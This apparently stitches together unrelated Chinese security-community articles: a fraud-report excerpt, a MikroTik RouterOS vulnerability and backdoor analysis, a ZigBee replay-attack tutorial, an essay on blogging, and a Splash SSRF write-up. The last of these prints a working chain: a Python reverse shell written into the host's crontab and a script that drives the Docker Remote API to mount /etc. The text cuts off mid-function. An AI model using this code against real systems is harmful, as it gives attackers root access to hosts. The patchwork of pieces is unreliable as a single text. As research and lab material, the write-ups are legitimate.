### 涉及疫情违法&诈骗的短信中，关键词“疫情”占比超一半！
2020年上半年度，疫情期间（0124-0526）短信内容中包含与疫情的关键词并判定属于违法&诈骗短信的，共拦截约54.3万条，随机抽取短信进行关键词覆盖度统计，其中关键词“疫情”占比最高，占比51.77%。
## 与时俱“骗”，新趋势！
### 紧随互联网发展，诈骗方式呈现三大新趋势，不得不防！
2020年上半年度，手机诈骗呈现三大新趋势，给广大用户造成了巨大损失，也给网络诈骗的打击防范带来了全新挑战，值得每个网民和安全企业注意。
## 最损编剧，套路深！
### 2020上半年度热门“诈骗剧本”
一.兼职挣钱？实为赌博诈骗！
二.网贷被骗数万元，虚假借贷诈骗又见抬头之势
三.女网友裸聊背后的“桃色陷阱”
四.在线破解！冒充网游交易平台实施诈骗全过程
五.刷单再现支付陷阱，“高倍镜”找出破绽！
六.“万亿”市值还给原始股，虚拟货币平台背后的“套路”
纵观整体报告不难看出，不法分子诈骗手段不断翻新，利用个人信息、多场景、交友等模式结合的诈骗层出不穷、防不胜防。尤其是在疫情时期，更需要广大用户加强个人信息防范意识、要时刻保持警惕。360安全大脑建议，为避免为不法分子可乘之机，用户可及时通过360手机卫士官网或360手机助手安装360手机卫士，全面拦截各类威胁入侵您的手机。 | 社区文章 |
# 深入分析MikroTik RouterOS CVE-2018-14847 & Get bash shell
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**作者：** **icematcha**
## 0x01. 前言
MikroTik路由器在4月份被发现存在目录遍历漏洞CVE-2018-14847，危险程度为中。Tenable
Research的专家于10月7日在DerbyCon上发表了题为“Bug Hunting in
RouterOS”的演讲，介绍了这项新技术，就是利用该漏洞。目前结合该漏洞的黑客工具已放出，运行RouterOS的MikroTik设备成为恶意代码的目标。
本文从MikroTik
RouterOS与客户端的通信协议入手，辅以逆向分析，深入解读了CVE-2018-14847以及内置开发者后门的漏洞原理，最后进行完整的组合拳进阶利用，达到Get
bash shell的目的。整体流程图如下：
## 0x02. 通信协议分析
MikroTik RouterOS是一款基于Linux核心开发，兼容Arm，mips，x86
PC等多种架构网络设备操作系统。通过安装该操作系统可以将标准的PC电脑变成专业路由器，也就是平时常说的软路由。同时，RouterOS提供了丰富的管理配置接口：1)winbox：GUI软件管理;
2)cli：命令配置;3)webfig ：网页图形化管理。而Winbox for MikroTik RouterOS是一个用于管理MikroTik
RouterOS系统的 GUI客户端应用程序。
RouterOS官方提供了相应的ISO系统镜像包，所以可以像安装正常操作系统一样安装RouterOS，直接在vm中安装一个虚拟机。
通过Cli Telnet的方式对RouterOS进行配置，但是要知道以下两点：
* 这不是一个os bash shell，不能访问到底层的linux的操作系统
* 只能利用内置的一些命令集对RouterOS进行配置和管理
从下图的nmap扫描结果可以看可以看到RouterOS专门提供了8291端口跟winbox通信。
漏洞原理是怎么的呢？要理解漏洞的原理，首先得需要理解Routeros与winbox的通信过程，本文先从webfig和Routeros的通信过程入手。
### 2.1 通信协议识别
访问webfig，首先请求的一个js文件，下载来美化后看看代码：
代码很多，17000行左右。大致浏览了一下，可以看到webfig与RouterOS之间所有的通信消息都是由这个js文件产生和处理。 初始化相关代码:
登录、认证相关功能，相关的POST数据包都发送到RouterOS的jsproxy处理， 这里的jsproxy就相当于jsp中servlet一样。
但当查看这些数据包的时候，发现POST是加密的，同样返回的数据也是。
而其中的加密算法在js文件中可以找到：
其中的产生56位key的算法采用的是RFC 3079 MS-CHAP-2 。
这是一个很老的PPP协议（存在离线碰撞破解漏洞）从js代码和数据包可以看到采用的身份认证方式是：提问/应答（Challenge/Response）方式。
### 2.2 认证过程梳理
至此，笔者来完整地梳理一下整个认证的流程：
客户端首先发送一个空的POST请求给服务器。
服务器收到后发出Challenge（提问）：
客户端利用输入的账号密码采用MS-CHAP-2算法生成通信key，再利用这个key使用RC4加密生成Reponse（应答），发给服务器。
服务器将客户端的应答利用自己计算的出的key解密，能解出来则认证成功。接下的通信数据包就是全是用这个认证成功的key加密的Content-type为msg的POST数据包。
### 2.3 数据包解密
理清楚认证过程，就可以来考虑下数据包怎么解密？
思路总结成两步：
1. 离线暴力从登录数据包中碰撞出账号密码。
2. 利用碰撞出的账号密码生成key解密其余通信数据包。
### 2.4 Json数据含义解析
至此我们已经拿到解密之后的数据包了，可以看到是json格式的。但是这些数据的含义还是一脸懵逼的。虽然js文件存在一些映射关系，但是要理解这些数据的含义还得加上逆向+仔细看代码+可能存在的文档：
这里笔者直接就把Tenable的分析报告当文档，可以到每一个key-value键值对都是由如下几部分组成：
而其中type可以取如下值：
而其中一些常见变量名的含义如下：
OK，结合上面的文档继续分析，发现Uff0001 system_to这个变量的值是一个数组[13,
7]，当RouterOS接到这条消息后jsproxy会做一次映射，最终找到/nova/bin/下的对应可执行程序来处理这条消息。
具体怎么映射的呢？ 在RouterOS中有一个叫/nova/etc/loader/system.x3的二进制文件，我们直接cat查看下：
虽然找不到具体的映射关系，但是可以知道映射关系就存储在这个文件中。Tenable通过分析对应的文件格式和内容，得到了对应的映射方式：
并开发了一个提取数字到可执行文件对应关系的程序，笔者利用该程序得到对应的映射结果：
也就是说数组[13,7]中的13最终调用的是/nova/bin/user，那么剩下的7代表什么？继续往下看：
因为没有用livecd的方式将RouterOS的文件系统挂载出来，所以只有利用binwalk把官网的iso镜像包中的文件系统提取出来：
用ida打开nova/bin/user，通过逆向分析，发现calls to
nv::Looper::addHandler是调用handler的关键代码，总共有八处这样的调用：
并且其传入的参数可为3，2，1，4，5，6，7，8，数组第二项的值正好在其中：
部分汇编代码:
也就是说[13，7]中两项分别对应：[/nove/bin/下的一个二进制程序，二进制程序中对应的handler]。
继续跟进，发现7对应的handler中有如下具体的方法：
至此，{Uff0001:[13,7],uff0007:16646157,s1:’admin’}
这条json消息中第一个键值对的值就搞清楚了，接着看第二个uff0007:16646157。通过前面的变量名对应关系，可以知道uff0007代表的是命令，也就是对应上面handler中具体的分支。
这里Tenable也给出了一份具体的映射关系：
16646157对应着Get命令，跟进看看Get command：
其中进了很多函数，这里就不一一细致分析了，但可以看到此函数实现的最主要功能点就是：获取json消息中传入的用户名字符串admin的对应用户信息。
## 0x03. 漏洞分析
### 3.1 初步利用分析
理清楚整个通信过程以及json消息的含义之后，正式开始漏洞分析。
漏洞发生在winbox和RouterOS的通信中，经过分析发现其数据包的本质还是与webfig与RouterOS之间的通信一样，采用的是json消息的形式，对应的参数含义都是一致的，甚至winbox的数据包没有加密，只是将json按照一定规则转化成了二进制形式利用TCP进行传输。
所以同样可以将winbox的二进制数据包转化成JSON形式：
转化出来的第一条json消息就对应着exp中list a 中的二进制payload：
ok，这下就是熟悉的json格式了，重点关注以下几个变量的值:
{
bff0005:1,
uff0006:1, -- Request ID
uff0007:7, -- Command
s1:'/////./..//////./..//////./../flash/rw/store/user.dat', -- 参数
Uff0002:[0,8],
Uff0001:[2,2] -- System and Handler
}
找到Uff0001:[2,2]对应的二进制程序和对应的handler：
继续跟进uff0007:7, 由前面可知这键值对的含义是command变量值为7。ok，继续找handler
2中的怎么处理7命令的，首先先找到handler 2，其中箭头所指函数就是处理command 7的函数：
跟进这个函数，是一个switch分支，找到case
7，可以看到当变量值为7时打开了一个/home/web/webfig下的文件，并将这个文件的大小和一个session
id作为返回值（由于代码太长了笔者只截取了关键部分）：
对应着RouterOS回应的第一条json消息：
就按这样的思路继续逆向分析，发现commoad可以取以下七个值，分别实现了不同的功能（由于篇幅原因就只截取了部分功能的关键代码）：
3. Opens a file in /var/pckg/ for writing.
4. Writes to the open file.
5. Opens a file in /var/pckg/ for reading.
6. Reads the open file.
##
7. Cancel transfer (and deletes the file).
8. Creates a directory in /var/pckg/.
9. Opens a file in /home/web/webfig/ for reading.
这样exp中发送的第二条二进制payload就好理解了，含义就是：带上RouterOS返回的Session ID和文件大小(PS:
至于为啥要带上这两个，上面的代码已经很清楚，RouterOS对这两个值做了验证)，发给mproxy handler 2中的command 4：
##
此外，在handler 2调用前可以看到对这七个command做了策略限制的：
同样，RouterOS提供了一个叫Get
Policies的命令，可以用来获取system_to数组对应command的权限策略，也就是能获取某个command的执行是否需要认证，利Tenable的自动化工具获取看下：
结果和上面的汇编代码一致，可以看到command 4 和
7的policy值为0，是不需要认证的，也就是说网上一些关于该漏洞是基于权限绕过的描述是不完全正确的，这里不存在权限认证bypass，上面已经提到了，第二条利用代码中替换Session
id是为了通过Command 5中的IF条件，让exp继续执行下去。
至此漏洞原理就理清楚了，整个漏洞总结来其实就是一个未授权的任意文件读取漏洞。来看看具体的利用过程：
10. 构造数据包去读取/flash/rw/store/user.dat文件，该文件中存储RouterOS的用户名密码。
11. 由于存储的是：password xor md5(user+”283i4jfkai3389″), 所以可逆，得到密码明文。
12. 登录RouterOS，控制路由器。
以上就是CVE-2018-14847的漏洞分析和利用。这时虽然进入到了RouterOS，但还是不能访问底层linux那部分，所以就有了更进阶的利用。
### 3.2 进阶利用分析
在Tenable的报告中，发现在6.42 stable版本以前很多版本存在开发者后门。笔者以6.41 statle版本为例分析。
定位到后门关键点
可以看到除了管理员admin用户，还有一个内置用户devel。要满足if条件，不仅需要用户为devel以及后面函数的返回值为真。跟进nv::hasOptionPackage()函数，发现其是/lib/libumsg.so动态库中的函数：
继续跟进nv::hasPackage()函数：
此函数只对/pckg/option这个文件做了存在与否的简单判断，存在的话，返回为真，加上用户为devel就满足了关键点处的if条件，byte_8053D15变量的值就被置为1。
当byte_8053D15变量值为1，且/pckg/option文件存在时，RouterOS直接调用了/bin/bash，此时获得的就是一个 Root
shell，到达了linux系统层。
至此，整个后门原理梳理清楚了，但这些后门文件默认是不存在，要想利用需要先写入，此时不妨回头看看mproxy handler
2的几个command。command
1执行了创建文件的操作，似乎刚好切合需求，但是需要认证，也就是说要想写入后门文件，必须得先登录成功。笔者思考这个设定也确实合理，要进开发者模式，首先得获得认证，一般情况下账号密码也只有开发者或者用户自己知道，只是恰好有了上面的未授权的任意文件读取，来了一个组合拳。
## 0x04. 漏洞整体利用
这样整体思路就很明确了：
13. 先通过command 4,7任意文件读取获得用户名密码。
14. 登录后再通过command 1写入后门文件。
15. 利用内置用户devel+admin用户密码登录获取Root shell。
整个利用过程如果用python通过socket直接发二进制数据跟winbox通信，是可行，但是数据包的构造很复杂麻烦。所以这里可以直接利用RouterOS官方提供的
c++的winbox api库大大简化了代码（具体exp来自Tenable）：
利用结果：
1. 正常登录，返回登录失败：
2. 执行BTW后，再次登录，返回登录成功。
## 0X05. 参考链接
<https://github.com/tenable/routeros/> | 社区文章 |
# 【技术分享】看我如何黑掉基于ZigBee的IoT设备（含演示视频）
##### 译文声明
本文是翻译文章，文章来源：attify.com
原文地址：<http://blog.attify.com/2017/04/24/hack-iot-devices-zigbee-sniffing-exploitation/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
**预估稿费：200RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
**在这篇文章中，我们将向读者介绍如何使用Attify ZigBee框架，对基于ZigBee的IoT（物联网）设备和智能设备进行渗透测试并发现漏洞。**
**二、关于Zigbee**
ZigBee是目前IoT设备中最常见的通信协议之一。自2004年诞生以来，ZigBee迅速普及，已经成为在自动化或短距离无线控制场景中最常用的协议之一。
ZigBee具备一些附加功能，比如低功耗、原生支持网状网络以及低带宽占用率等，这些优点进一步推动了这项新技术的普及。
到目前为止，ZigBee已经成为IoT设备中最常用的协议之一，广泛应用在包括三星智能设备以及飞利浦的Hue智能照明设备在内的许多热门产品中。
ZigBee联盟负责ZigBee设备的认证，同时也负责维护经过联盟认证的产品列表。
**人们对ZigBee的安全普遍缺乏意识，因此我们经常会碰到某些缺乏最基本安全防护的ZigBee设备。这些设备在很多方面存在漏洞，比如攻击者可以嗅探通信传输中的敏感信息，也可以夺取关键基础设施的控制权。**
我们希望通过这篇文章以及其他IoT安全产品（比如这个[ **工具包**](https://www.attify-store.com/collections/frontpage/products/iot-security-exploitation-training-learning-kit)），能够提高IoT产品的安全性，使IoT生态系统更加健康。
**三、Attify Zigbee框架**
Attify ZigBee框架（以下简称AZF）是一款具备GUI操作界面的产品，对RiverLoop
Security出品的KillerBee工具进行了封装，可以让初涉IoT以及无线电安全领域的初学者更加轻松掌握KillerBee工具的整个使用流程。随着时间的推移，我们计划在AZF中添加更多的功能，扩展整个框架，使其能够更加高效识别ZigBee通信中存在的漏洞。
在开始使用AZF之前，首先你需要克隆GitHub上的[ **AZF代码仓库**](https://github.com/attify/Attify-Zigbee-Framework)，运行其中的installer.sh开始安装过程。
这个安装脚本同时还将安装KillerBee工具，顺便解决工具运行所需要的其他依赖项。
**四、设置AZF**
要运行这个工具，我们需要进入AZF所在文件夹，运行如下命令，启动AZF。
python main.py
你可以对AZF进行配置，定制KillerBee工具包中的哪些工具可以在AZF的GUI界面中显示。你可以在“Settings”菜单中，选择需要显示的工具列表，也可以通过Ctrl+S弹出配置菜单进行定制。
KillerBee框架由几种工具组成，但这些工具没有全部包含在AZF中。目前来说，AZF已经包含ZigBee渗透测试所需要用到的必备工具，在将来发布的新版中，会将其他工具添加进来。
你可以参考此[
**链接**](https://github.com/riverloopsec/killerbee/blob/master/README.md#tools)，了解KillerBee工具包的更多功能。
**五、开始工作**
我们认为最好是通过具体案例来介绍工具的使用方法。因此，本文中我们将使用AZF，黑掉某个IoT智能灯泡，在这个过程中，向大家展示AZF的使用方法。
在开始工作前，你需要准备如下环境：
1、已刷入KillerBee的Atmel RzRaven U盘。你可以参考KillerBee在GitHub上的[
**说明**](https://github.com/riverloopsec/killerbee/blob/master/README.md#atmel-rz-raven-usb-stick)，按步骤完成刷入过程，也可以到[ **这里**](https://www.attify-store.com/collections/frontpage/products/zigbee-sniffing-tool-atmel-rzraven)购买一个已刷好的RzRaven U盘。
2、存在漏洞的IoT设备。
3、已安装AZF的虚拟机或系统。
环境准备完毕后，你可以将Atmel RzRaven U盘插入系统中并启动工具。对于本文的演示案例来说，我们需要使用以下工具：
1、Zbid
2、Zbstumbler
3、Zbdump
4、Zbreplay
在AZF的工具配置菜单中选择以上工具，点击“save configuration”，保存配置。
**六、查找Atmel RZRaven U盘**
插入RZRaven U盘后，你可以在zbid选项卡中检测到U盘的插入信息，如下所示：
现在，我们的RzRave U盘已插入，并被AZF成功识别，我们所需要做的就是找到目标设备所用的信道（channel），利用该信息进一步对设备进行渗透测试。
**七、查找目标设备的信道**
ZigBee总共使用了2.4GHz频带中的16个信道用于通信。作为一名安全研究员，我们最初的目标是确定目标设备正在使用的具体信道。我们可以使用zbstumbler工具完成这一任务。
Zbstumbler是专门针对ZigBee设备的网络发现工具，它的工作原理是通过发送信标请求帧，根据收到的响应信标帧判断设备的存在情况。Zbstumbler每隔2秒变换一次信道，自动进行信标帧的发送动作。通过这一过程，我们就可以发现这16个信道中存在的任何ZigBee设备。
如果你已经知道目标设备在ZigBee通信中可能使用的具体信道，你可以单独指定这个信道来发送和接受信标帧。
如上图所示，zbstumbler成功识别出信道20上的ZigBee设备。
**八、导出Zigbee通信数据包**
成功识别设备使用的信道后，下一步工作是捕获设备发送和接收的数据包。
如果你在安全领域是个新手，我必须向你强调通信数据包分析的重要性，它在许多场合下都能帮助我们发现许多有趣的信息。在本例中，我们会使用某种方法捕捉通信报文，重放相同的数据包，通过数据包控制目标设备的行为。
在使用zbdump工具捕获数据包之前，我们需要设置以下参数值：
1、接口（Interface）：该值可从zbid中获得。
2、信道号（Channel）：我们之前使用zbstumbler获得的信道号。
3、个数（Count）：这是个可选项，用来设置我们想要捕获的数据包个数。本例中，我们设置该值为100。
4、输出文件名（Output File）：目标文件名，用来保存已捕获的数据包。本例中，我们将所捕获的数据包存为“IoTbulb.pcap”文件。
现在我们已经输入了所有的参数，一旦我们点击“Start Capture”按钮，我们就能开始捕获通信数据包（最多捕获100个），并保存到输出文件中。
本文案例中，在点击“Start
Capture”按钮按钮后，我们将通过移动应用程序打开和关闭灯泡、更换灯光颜色，并执行其他操作。之后我们停止抓包，将嗅探的数据包保存到“IoTbulb.pcap”文件中。
**九、通过重放Zigbee数据包控制IoT设备**
经过上一步，我们已经成功捕获了通信数据包，接下来我们可以重放数据包，开展针对IoT设备的重放攻击。
抓包文件全部保存在AZF上一层文件夹中的pcap目录。我们可以通过zbreplay菜单，选择pcap目录中的pcap文件。
选择我们在上一步骤中生成的pcap文件，选择正确的信道，然后选择重放攻击所用的延迟时间。
这一切配置完毕后，点击“replay”按钮，开始重放数据包。攻击完成后，你可以看到灯泡的颜色会发生变化，这些行为与我们之前在抓包过程中看到的行为一致。
因此，在这个案例中，IoT设备不能防御重放攻击，这也是我们攻击能够奏效的原因。
重放攻击目前仍然是IoT设备中最为常见的基于无线电的漏洞之一，但这种漏洞对你来说只是个开头，还有很多其他漏洞可待挖掘。
**演示视频**
我们会在[ **YouTuBe**](https://www.youtube.com/channel/UCkVrCcQAzQZR7j28avt1jjw)
上放出更多的演示视频，如果你在使用过程中发现任何错误，或者有其他功能需求，可以在[
**GitHub**](https://github.com/attify/Attify-Zigbee-Framework) 上向我们反映。 | 社区文章 |
#### 作者：Zery
本文只代表个人见解，不代表任立场，如果您认为我的想法是错的那很正常，因为这是我的想法，如果您觉得您的想法和我一样，那我们就是传说中的
"激友"（对生活冲满激情的朋友）。进入正题
### 一 我心中的博客
我所以指的写博客，不单只是写一篇文章出来这一结果。而应该是写的这一过程，写过技术文章的朋友应该跟我一样有这么一个过程。
**1** 自己了解学习，文章所涉及到的知识点，及知识点衍生出来的知识点。
**2** 对学习的知识点进行验证，以确保理论值与实践值保持一致
**3** 构思文章的大纲，哪些部分需要重点写，需要配合实例代码，图片等信息
**4** 动手写，写完后再次检查校正并排版，然后发表
**5** 针对网友的评论中提出的问题进行回复
我写文章一般都会经历以上5上步，最终以上5步融合成一个结果那就是"一篇文章" 这一过程也是我心中对的"写博客"一词的诠释
### 二 为什么要写博客
**2.1 为自己**
写博客对自己的提升是很大的，可能写一篇体现不出来，但是只要你坚持写效果就很明显，好处人个认为有以下几点
**2.1.1 强化知识点**
：在写一篇文章前，你必定是要把以文章中心为主的知识点及衍生的知识点都详细了解一篇，在这一过程中必须会涉及到自己以前所了解过的知识，人的记忆是存在记忆曲线的需要不断的重复记忆才能长久的记住某一事物，而每写一篇文章时都会查阅资料，在这一过程中必然会遇到以前记住了而现在渐渐淡忘的知识点，当你再次看到时瞬间就会回想起，此时以前的知识点就得到了强化。
**2.1.2** **提升学习能力**
：同一样的人，了解同一知识点，用不同的方法，产生的结果必然会不一样，找到最佳的学习方法，这也是一种能力，这种能力是经过多次实践探索之后总结出来的，以前我每次需了解某一种技术时都会先百度看各种搜索结果，发现没有想要的之后，再Google因为Google的结果与百度的会有所不同，Google结果中国外的文章相对会多一点，而偶然点了一个链接进入了博客园，发现就是自己想要的东西，而且把概念，代码，及经验都写上去了，看完之后对我帮助很大。
渐渐的我便开始采这种方法了解新知识概念性的直接看百度百科，实质性的直接 上博客园的 找找看 ，群里的朋友还推荐了一种方法，比如我要学MVC
园子里很多人都写了
关于MVC的一系列文章，把那一系列的文章都看一遍，对于MVC就基本有了了解了，这便是学习能力的提升,对于某种技术用最短的时间做到了比较全面的了解
**2.1.3** **提升文字组织能力**
：这个就不用说了，写博客，既然是写，就必然会有大量的文字，而如何组织文字表达出自己想表达的意思，是长期练习的，而写博客正好帮助你提高了你的文字组织能力，
**2.1.4** **提升逻辑思维能力**
：不用说，技术性的东西从来就没的单独存在的，都一层层技术相结合，那在了解某种技术时，自己的思维也是要顺着这种关系逐渐深入的，比如MVC，你不能只知道
M是什么V是什么 C是什么就行了吧，你得知道 M V C 这三者关系是怎样的，又是怎样交互，而你了解之后再把它写出来时，需要清晰逻辑。
**2.2 为他人**
**2.2.1 有意的** ： 园子里有很多人都写过关于 MVC 框架 WCF
等等系列文章，目的就在于帮助新人快速上手，这个我深有体会，当初我开始学习MVC时就是看的[T2噬菌体](http://www.cnblogs.com/leoo2sk/)的MVC系
列文章，整篇看完后再配合自己动手对于MVC就有了基本的了解了，在次感谢园子里无私献的大牛们。而以上行为就是有意的帮助
**2.2.2 无意的**
：很多时候在开发项目的过程中，遇到了技术问题，花了时间解决后，有人会写博客记录，并附上解决方法旨在当再次遇到问题时直接看下文章就知道如何处理了，
而碰巧的是，这种问题不止他一个人遇到了。很多人在开发时也遇到了这个问题，在网上找答案时，就找到了这篇文章，并根据文章提供的解决方法，顺利的解决了问题，这种帮助就是无意的帮助
### 三 一定要写博客吗
答案肯定是否定的，中国几百万的程序员，如果都写博客，那程序员的春天就来了，但是事实并非如此。而我所讲的 写博客
的产物并不只是一篇文章，更多的是，对自己能力的提升，自己对知识点的总结，而发表在博客上只是为了公开，还有很多人喜欢记录在云笔记里面。还有工作很忙，没有空闲时间写出来，因为写技术性的文章，花的时间是很长的。写过的朋友都知道。
### 四 博客会给你带来哪些收获
古人云:一份耕耘,一份收获
以下这些是帮助他人而得到的一些认可，并非主观上去追求的
**MVP** ：微软每年都颁发MVP给那些经常与其他专业人士分享知识和专业技能，受人尊敬、信任，而且平易近人的专家。而这个称号则是对你写的博客质量的肯定
**知名度** :文章写得好的人，技术水平肯定也很好，知道的人多了，知名度就有了，比如园子里排名前10的大家都知道，都看过他们的文章。
**尊敬** :对于技术界的大神，都是受人敬仰的，在园子里或者工作中也是一样的，在心里对大神们都是默默的佩服！至少我是这样啦，哈哈~也是我学习的榜样！
### 五 总结
我所认的写博客是对自己所了解知识的强化，分享，自身能力的提升。当然 写 博客只是一种方法而以，只要能达到提升自我的效果什么方法都是可以的
之前有看过一则新闻：[即便没有读者，你也要写博客](http://kb.cnblogs.com/page/182951/) ，文章也讲解了很多写博客的好处。
而我写博客是希望，能提升自己的综合能力，并把自己的知识与经验分享给大家，如果有幸我的分享帮助了一些人，那将使我更加欣慰
另外国庆节就要来了，祝奋斗在一线的程序员小伙伴们，放假快乐，放下工作好好出去玩几天吧！
最后附上一句名言： **有些事情你现在不去做，可能以后都不会有机会了！** | 社区文章 |
# 0x 01 简介
最近自己写的小工具在扫描的过程，发现了某公司在公网开放了一个使用开源系统的站点，该系统为
[Splash](https://github.com/scrapinghub/splash)，是一个使用 Python3、Twisted 和 QT5写的
javascript rendering service，即提供了HTTP API 的轻量级浏览器，默认监听在 8050 (http) 和 5023
(telnet) 端口。
Splash 可以根据用户提供的url来渲染页面，并且url没有验证，因此可导致SSRF (带回显)。和一般的 SSRF 不同的是，除了 `GET`
请求之外，Splash还支持 `POST`。这次漏洞利用支持 `POST` 请求，结合内网 `Docker Remote
API`，获取到了宿主机的root权限，最终导致内网漫游。文章整理了一下利用过程，如果有哪里写的不对或者不准确的地方，欢迎大家指出～
# 0x 02 环境搭建
为了不涉及公司的内网信息，这里在本地搭建环境，模拟整个过程
画了一个简单的图来描述环境
这里使用 Virtualbox 运行 Ubuntu 虚拟机作为 Victim，宿主机作为 Attacker
Attacker IP: `192.168.1.213`
Victim:
IP: `192.168.1.120` 使用桥接模式
内网IP：`172.16.10.74`，使用 Host-only 并且 **在 Adanced 中去掉 Cable Connected**
Splash开放在 `http://192.168.1.120:8050` ，版本为 `v2.2.1`，Attacker可访问
Docker remote api在 `http://172.16.10.74:2375`，版本为 `17.06.0-ce`，
**Attacker无法访问**
JIRA 运行在 `http://172.16.10.74:8080`， **Attacker无法访问**
Victim 机器上需要装 docker，安装步骤可以参考
[文档](https://docs.docker.com/engine/installation/linux/docker-ce/ubuntu/)
因为后面测试需要利用 `/etc/crontab` 反弹，所以需要启动 cron
service cron start
docker默认安装不会开放 tcp 2375 端口，这里需要修改一下配置，让其监听在 172.16.10.74 的 2375 端口
在 `/etc/default/docker` 文件中添加
DOCKER_OPTS="-H tcp://172.16.10.74:2375
创建目录 `docker.service.d` (如果没有的话)
mkdir /etc/systemd/system/docker.service.d/
修改 `vim /etc/systemd/system/docker.service.d/docker.conf` 的内容为
[Service]
ExecStart=
EnvironmentFile=/etc/default/docker
ExecStart=/usr/bin/dockerd -H fd:// $DOCKER_OPTS
重启 docker
systemctl daemon-reload
service docker restart
查看是否成功监听
root@test:/home/user# netstat -antp | grep LISTEN
tcp 0 0 172.16.10.74:2375 0.0.0.0:* LISTEN 1531/dockerd
root@test:/home/user# curl 172.16.10.74:2375
{"message":"page not found"}
运行 splash
docker pull scrapinghub/splash:2.2.1
sudo docker run --name=splash -d -p 5023:5023 -p 8050:8050 -p 8051:8051 scrapinghub/splash:2.2.1
运行 JIRA
docker pull cptactionhank/atlassian-jira:latest
docker run -d -p 172.16.10.74:8080:8080 --name=jira cptactionhank/atlassian-jira:latest
可以测试一下，宿主机上无法访问以下两个地址的
# docker remote api
http://192.168.1.120:2375/
# jira
http://192.168.1.120:8080/
# 0x 03 利用过程
## 带回显SSRF
首先来看一下 SSRF
在宿主机上访问 `http://192.168.1.120:8050/` ，右上角有一个填写url的地方，这里存在带回显的ssrf
这里填写内网jira的地址 `http://172.16.10.74:8080`，点击 `Render me!`，可以看到返回了
**页面截图、请求信息和页面源码** ，相当于是一个内网浏览器!
查看 [文档](http://splash.readthedocs.io/en/2.2.1/api.html#render-html) 得知，有个
`render.html` 也可以渲染页面，这里访问 docker remote api，`http://172.16.10.74:2375`
## Lua scripts尝试
阅读了下文档，得知 splash 支持执行自定义的 Lua scripts，也就是首页填写url下面的部分
具体可以参考这里 [Splash Scripts
Tutorial](http://splash.readthedocs.io/en/2.2.1/scripting-tutorial.html)
但是这里的 Lua 默认是运行在 Sandbox 里，很多标准的 Lua modules 和 functions 都被禁止了
文档 <http://splash.readthedocs.io/en/2.2.1/scripting-libs.html#standard-library> 列出了 Sandbox 开启后(默认开启)可用的 Lua modules：
string
table
math
os
这里有一个os，可以执行系统命令 <http://www.lua.org/manual/5.2/manual.html#pdf-os.execute>
但是试了一下 require os，返回 not found，所以没办法实现
local os = require("os")
function main(splash)
end
## 通过docker remote api 获取宿主机root权限
再看了遍文档，发现除了 `GET` 请求，还支持 `POST`，具体可以参考这里
<http://splash.readthedocs.io/en/2.2.1/api.html#render-html>
通过之前对该公司的测试，得知某些ip段运行着docker remote api，所以就想尝试利用post请求，调用api，通过挂载宿主机 `/etc` 目录
，创建容器，然后写 `crontab` 来反弹shell，获取宿主机root权限。
根据docker remote api 的 [文档](https://docs.docker.com/engine/api/v1.24/)
，实现反弹需要调用几个 API，分别是
1. `POST /images/create` ：创建image，因为当时的环境可以访问公网，所以就选择将创建好的 image 先push到docker hub，然后调用 API 拉取
2. `POST /containers/create`: 创建 container，这里需要挂载宿主机 `/etc` 目录
3. `POST /containers/(id or name)/start` : 启动container，执行将反弹定时任务写入宿主机的 `/etc/crontab`
主要说一下构建 image，这里使用了 python 反弹shell 的方法，代码文件如下
Dockerfile
FROM busybox:latest
ADD ./start.sh /start.sh
WORKDIR /
start.sh：container启动时运行的脚本，负责写入宿主机 `/etc/crontab` ，第一个参数作为反弹host，第二个参数为端口
#!/bin/sh
echo "* * * * * root python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\", $2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" >> /hostdir/crontab
构建并push
docker build -t b1ngz/busybox:latest .
docker push b1ngz/busybox:latest
虽然 splash 支持 post 请求，但是比较坑的是，文档里没有给向目标地址发 `POST` 请求的例子，只有参数说明，看了遍文档，关键参数有这几个
* url : 请求url
* http_method：请求url的方法
* headers: 请求 headers
* body: 请求url的body，默认为 `application/x-www-form-urlencoded`
测试的时候，一开始一直使用 get 方法来请求 `render.html` 接口，但总是返回400 ，卡了很久
{
error: 400,
description: "Incorrect HTTP API arguments",
type: "BadOption",
info: {
argument: "headers",
description: "'headers' must be either a JSON array of (name, value) pairs or a JSON object",
type: "bad_argument"
}
}
搜了一下，在 [github
issue](https://github.com/scrapinghub/splash/issues/628#issuecomment-309606620)
里找到了原因，得用post请求，并且 `headers` 得在 body里，且类型为 json，略坑，这里给出利用脚本，代码有注释，大家可以自己看看
# -*- coding: utf-8 -*- __author__ = 'b1ngz'
import json
import re
import requests
def pull_image(api, docker_api, image_name, image_tag):
print("pull image: %s:%s" % (image_name, image_tag))
url = "%s/render.html" % api
print("url: %s" % url)
docker_url = '%s/images/create?fromImage=%s&tag=%s' % (docker_api, image_name, image_tag)
print("docker_url: %s" % docker_url)
params = {
'url': docker_url,
'http_method': 'POST',
'body': '',
'timeout': 60
}
resp = requests.get(url, params=params)
print("request url: %s" % resp.request.url)
print("status code: %d" % resp.status_code)
print("resp text: %s" % resp.text)
print("-" * 50)
def create_container(api, docker_api, image_name, image_tag, shell_host, shell_port):
image = "%s:%s" % (image_name, image_tag)
print("create_container: %s" % image)
body = {
"Image": image,
"Volumes": {
"/etc": { # 挂载根目录有时候会出错，这里选择挂载/etc
"bind": "/hostdir",
"mode": "rw"
}
},
"HostConfig": {
"Binds": ["/etc:/hostdir"]
},
"Cmd": [ # 运行 start.sh，将反弹定时任务写入宿主机/etc/crontab
'/bin/sh',
'/start.sh',
shell_host,
str(shell_port),
],
}
url = "%s/render.html" % api
docker_url = '%s/containers/create' % docker_api
params = {
'http_method': 'POST',
'url': docker_url,
'timeout': 60
}
resp = requests.post(url, params=params, json={
'headers': {'Content-Type': 'application/json'},
"body": json.dumps(body)
})
print(resp.request.url)
print(resp.status_code)
print(resp.text)
result = re.search('"Id":"(\w+)"', resp.text)
container_id = result.group(1)
print(container_id)
print("-" * 50)
return container_id
def start_container(api, docker_api, container_id):
url = "%s/render.html" % api
docker_url = '%s/containers/%s/start' % (docker_api, container_id)
params = {
'http_method': 'POST',
'url': docker_url,
'timeout': 10
}
resp = requests.post(url, params=params, json={
